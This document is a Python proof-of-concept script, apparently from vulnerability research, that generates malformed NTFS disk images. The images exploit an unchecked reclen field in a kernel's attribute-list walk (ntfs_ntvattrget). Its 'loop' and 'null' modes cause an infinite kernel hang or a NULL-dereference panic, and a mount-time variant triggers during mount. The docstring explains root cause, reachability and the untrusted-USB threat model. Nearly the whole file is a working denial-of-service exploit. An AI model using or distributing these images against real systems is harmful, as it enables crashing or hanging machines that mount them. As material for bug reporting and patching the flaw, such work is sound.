DF-0790 / gen_ntfs_0790.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 | #!/usr/bin/env python3 """ gen_ntfs_0790.py โ Crafted NTFS images that trigger the unbounded ATTRLIST walk in ntfs_ntvattrget() (sys/vfs/ntfs/ntfs_subr.c:196-236). DF-0790 root cause (confirmed by source trace): 186: len = lvap->va_datalen; 187: alpool = kmalloc(len, M_TEMP, M_WAITOK); 188: error = ntfs_readntvattr_plain(ntmp, ip, lvap, 0, len, alpool, &len, NULL); ... 196: for(; len > 0; aalp = nextaalp) { 202: if (len > aalp->reclen) { 203: nextaalp = NTFS_NEXTREC(aalp, struct attr_attrlist *); 204: } else { 205: nextaalp = NULL; 206: } 207: len -= aalp->reclen; // <-- NO CHECK that reclen != 0 / <= len ... 236: } Two malformed shapes: * loop : an attr-list entry with reclen == 0 -> infinite loop / kernel hang. * null : an attr-list entry with reclen > len -> size_t underflow, then the next iteration dereferences nextaalp == NULL -> kernel panic. REACHABILITY (mount-time / first post-mount attribute lookup): The ATTRLIST walk is entered only when an attribute is requested that is NOT present inline in the MFT record, but a $ATTRIBUTE_LIST (type 0x20) attribute IS present (ntfs_findvattr returns -1 with lvap = ATTRLIST, ntfs_subr.c:133). To force this on ino 5 (root dir) we: 1. keep the resident $INDEX_ROOT ($I30) attribute INLINE (so the dir loads), 2. add a resident $ATTRIBUTE_LIST (type 0x20) attribute whose DATA is a crafted list of attr_attrlist entries with reclen == 0 (mode 'loop') or a final entry whose reclen exceeds the remaining buffer (mode 'null'), 3. the entry references an attribute type NOT present inline (e.g. 0x80 $DATA) so ntfs_findvattr does not short-circuit on the first call. When something later asks the kernel for $DATA on ino 5 (or any attr not inline), ntfs_ntvattrget enters the buggy walk. Threat model: standard filesystem-image model โ root must issue mount_ntfs (an admin auto-mounting an untrusted USB stick / image, or a crafted image placed where root will mount it). The post-mount attribute request that reaches ntfs_ntvattrget is unprivileged (any local user with execute on the mountpoint can stat() / open() files). Usage: python3 gen_ntfs_0790.py {loop|null|all} [out.img] """ import struct, sys, os # Re-use the proven minimal-NTFS scaffolding from the sibling DF-0786 PoC. HERE = os.path.dirname(os.path.abspath(__file__)) SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py') sys.path.insert(0, os.path.dirname(SIBLING)) import importlib.util spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING) gen_ntfs = importlib.util.module_from_spec(spec) spec.loader.exec_module(gen_ntfs) # constants from the sibling generator (mirror its image geometry) BPS = gen_ntfs.BPS SPC = gen_ntfs.SPC CLUS = gen_ntfs.CLUS MFTCN = gen_ntfs.MFTCN MFTRECBYTES = gen_ntfs.MFTRECBYTES NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS NTFS_A_ATTRLIST = 0x20 # $ATTRIBUTE_LIST NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT # 0x90 NTFS_A_DATA = gen_ntfs.NTFS_A_DATA # 0x80 NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR FILE_MAGIC = gen_ntfs.FILE_MAGIC END_ATTR = gen_ntfs.END_ATTR def make_attrlist_entry(atype, reclen, inumber=5, vcnstart=0): """Build a single struct attr_attrlist entry (26 fixed bytes + 0 name). struct attr_attrlist (ntfs.h:144-154): u32 al_type; u16 reclen; u8 al_namelen; u8 al_nameoff; u64 al_vcnstart; u32 al_inumber; u32 reserved; u16 al_index; u16 al_name[]; Fixed part (no name) = 4+2+1+1+8+4+4+2 = 26 bytes. """ e = bytearray(26) struct.pack_into('<I', e, 0, atype) # al_type struct.pack_into('<H', e, 4, reclen) # reclen (the buggy field) e[6] = 0 # al_namelen e[7] = 0 # al_nameoff struct.pack_into('<Q', e, 8, vcnstart) # al_vcnstart struct.pack_into('<I', e, 16, inumber) # al_inumber struct.pack_into('<I', e, 20, 0) # reserved struct.pack_into('<H', e, 24, 0) # al_index return bytes(e) def make_attrlist_data(mode): """Build the resident data of the $ATTRIBUTE_LIST attribute. mode == 'loop' : one entry with reclen == 0 -> infinite loop. mode == 'null' : one entry with reclen > data length -> size_t underflow, then nextaalp == NULL is dereferenced. """ if mode == 'loop': # One $DATA (0x80) entry referencing ino 5, reclen == 0. # ntfs_ntvattrget walks it forever: len never decreases, aalp never moves. return make_attrlist_entry(NTFS_A_DATA, reclen=0, inumber=5) elif mode == 'null': # One $DATA entry whose reclen (32) exceeds the 26-byte data buffer. # In the kernel: len(=26) <= reclen(=32) -> else branch nextaalp=NULL; # len -= 32 underflows size_t to ~2^64-6; next iter dereferences NULL. return make_attrlist_entry(NTFS_A_DATA, reclen=32, inumber=5) else: raise ValueError(f"unknown mode {mode!r}") def build_mft_record_5_with_attrlist(mode): """ino 5 (root dir) carrying a crafted $ATTRIBUTE_LIST attribute. Layout of the inline attribute list in the MFT record: [ $INDEX_ROOT ($I30) resident ] -- keeps the dir loadable [ $ATTRIBUTE_LIST resident ] -- crafted data per `mode` [ end-of-attributes marker ] """ # resident $INDEX_ROOT ($I30), same as the clean image iroot_data = gen_ntfs.make_index_root_data() attr_indxroot = gen_ntfs.make_attr_resident(NTFS_A_INDXROOT, iroot_data, name="$I30") # resident $ATTRIBUTE_LIST with the crafted walk data al_data = make_attrlist_data(mode) attr_attrlist = gen_ntfs.make_attr_resident(NTFS_A_ATTRLIST, al_data, name=None) attr_data = attr_indxroot + attr_attrlist # Assemble the 4096-byte FILE record by hand (mirror make_file_record, # which only takes a single attr blob โ concatenation works the same way). rec = bytearray(MFTRECBYTES) attroff = 72 struct.pack_into('<I', rec, 0, FILE_MAGIC) struct.pack_into('<H', rec, 4, 48) # fh_foff struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1) # fh_fnum = 9 struct.pack_into('<H', rec, 16, 1) # fr_seqnum struct.pack_into('<H', rec, 18, 1) # fr_nlink struct.pack_into('<H', rec, 20, attroff) # fr_attroff struct.pack_into('<H', rec, 22, NTFS_FRFLAG_DIR) # fr_flags used = attroff + len(attr_data) + 4 struct.pack_into('<I', rec, 24, used) # fr_size struct.pack_into('<I', rec, 28, MFTRECBYTES) # fr_allocated rec[attroff:attroff + len(attr_data)] = attr_data struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR) return gen_ntfs.apply_fixups(bytes(rec)) def build_image(mode): img = bytearray(NUM_CLUSTERS * CLUS) img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector() mft_records = [None] * 11 mft_records[0] = gen_ntfs.build_mft_record_0() mft_records[1] = gen_ntfs.build_mft_minimal() mft_records[2] = gen_ntfs.build_mft_minimal() mft_records[3] = gen_ntfs.build_mft_minimal() mft_records[4] = gen_ntfs.build_mft_record_4() mft_records[5] = build_mft_record_5_with_attrlist(mode) mft_records[6] = gen_ntfs.build_mft_record_6() mft_records[7] = gen_ntfs.build_mft_minimal() mft_records[8] = gen_ntfs.build_mft_minimal() mft_records[9] = gen_ntfs.build_mft_minimal() mft_records[10] = gen_ntfs.build_mft_record_10() for i in range(11): off = (MFTCN + i) * CLUS img[off:off + len(mft_records[i])] = mft_records[i] upcase = gen_ntfs.make_upcase_data() uo = gen_ntfs.UPCASE_CN * CLUS img[uo:uo + len(upcase)] = upcase return bytes(img) def build_mft_record_6_with_attrlist(mode): """ino 6 ($Bitmap) carrying ONLY a corrupted $ATTRIBUTE_LIST (no inline $DATA). This is the MOUNT-TIME trigger: during ntfs_mountfs, VFS_VGET(NTFS_BITMAPINO) -> ntfs_vgetex(NTFS_A_DATA) -> ntfs_filesize -> ntfs_ntvattrget(NTFS_A_DATA). Since $DATA is not inline, ntfs_findvattr returns -1 with lvap=$ATTRIBUTE_LIST, and the buggy ATTRLIST walk (ntfs_subr.c:196-236) fires DURING MOUNT -- before any directory lookup, so the sibling DF-0786 lockmgr bug cannot interfere. The walk entry references $DATA at ino 7, but the bug (loop/panic) manifests before ntfs_vgetex(ino 7) is reached. """ al_data = make_attrlist_data(mode) attr_attrlist = gen_ntfs.make_attr_resident(NTFS_A_ATTRLIST, al_data, name=None) attr_data = attr_attrlist # ONLY the ATTRLIST, no inline $DATA rec = bytearray(MFTRECBYTES) attroff = 72 struct.pack_into('<I', rec, 0, FILE_MAGIC) struct.pack_into('<H', rec, 4, 48) struct.pack_into('<H', rec, 6, MFTRECBYTES // BPS + 1) struct.pack_into('<H', rec, 16, 1) # fr_seqnum struct.pack_into('<H', rec, 18, 1) # fr_nlink struct.pack_into('<H', rec, 20, attroff) # fr_attroff struct.pack_into('<H', rec, 22, 0) # fr_flags (regular file) used = attroff + len(attr_data) + 4 struct.pack_into('<I', rec, 24, used) struct.pack_into('<I', rec, 28, MFTRECBYTES) rec[attroff:attroff + len(attr_data)] = attr_data struct.pack_into('<I', rec, attroff + len(attr_data), END_ATTR) return gen_ntfs.apply_fixups(bytes(rec)) def build_image_mount(mode): """Mount-time trigger variant: corrupted $ATTRIBUTE_LIST on ino 6 ($Bitmap). ino 5 stays clean (well-formed root dir) so the mount proceeds past the system-MFT load; the bug fires when ntfs_filesize reads ino 6's $DATA. """ img = bytearray(NUM_CLUSTERS * CLUS) img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector() mft_records = [None] * 11 mft_records[0] = gen_ntfs.build_mft_record_0() mft_records[1] = gen_ntfs.build_mft_minimal() mft_records[2] = gen_ntfs.build_mft_minimal() mft_records[3] = gen_ntfs.build_mft_minimal() mft_records[4] = gen_ntfs.build_mft_record_4() mft_records[5] = gen_ntfs.build_mft_record_5() # clean root dir mft_records[6] = build_mft_record_6_with_attrlist(mode) # corrupted bitmap mft_records[7] = gen_ntfs.build_mft_minimal() mft_records[8] = gen_ntfs.build_mft_minimal() mft_records[9] = gen_ntfs.build_mft_minimal() mft_records[10] = gen_ntfs.build_mft_record_10() for i in range(11): off = (MFTCN + i) * CLUS img[off:off + len(mft_records[i])] = mft_records[i] upcase = gen_ntfs.make_upcase_data() uo = gen_ntfs.UPCASE_CN * CLUS img[uo:uo + len(upcase)] = upcase return bytes(img) def main(): if len(sys.argv) < 2: print(__doc__) sys.exit(2) mode = sys.argv[1] # modes prefixed with "mount_" produce the mount-time trigger variant # (corrupted $ATTRIBUTE_LIST on ino 6/$Bitmap instead of ino 5/root dir). if mode == 'all': for m in ('loop', 'null'): out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{m}.img' img = build_image(m) with open(out, 'wb') as f: f.write(img) print(f"[{m}] wrote {out}: {len(img)} bytes") elif mode == 'all_mount': for m in ('loop', 'null'): out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_mount_{m}.img' img = build_image_mount(m) with open(out, 'wb') as f: f.write(img) print(f"[mount_{m}] wrote {out}: {len(img)} bytes") elif mode.startswith('mount_'): sub = mode[len('mount_'):] out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{mode}.img' img = build_image_mount(sub) with open(out, 'wb') as f: f.write(img) print(f"[mount_{sub}] wrote {out}: {len(img)} bytes") else: out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_0790_{mode}.img' img = build_image(mode) with open(out, 'wb') as f: f.write(img) print(f"[{mode}] wrote {out}: {len(img)} bytes") if __name__ == '__main__': main() |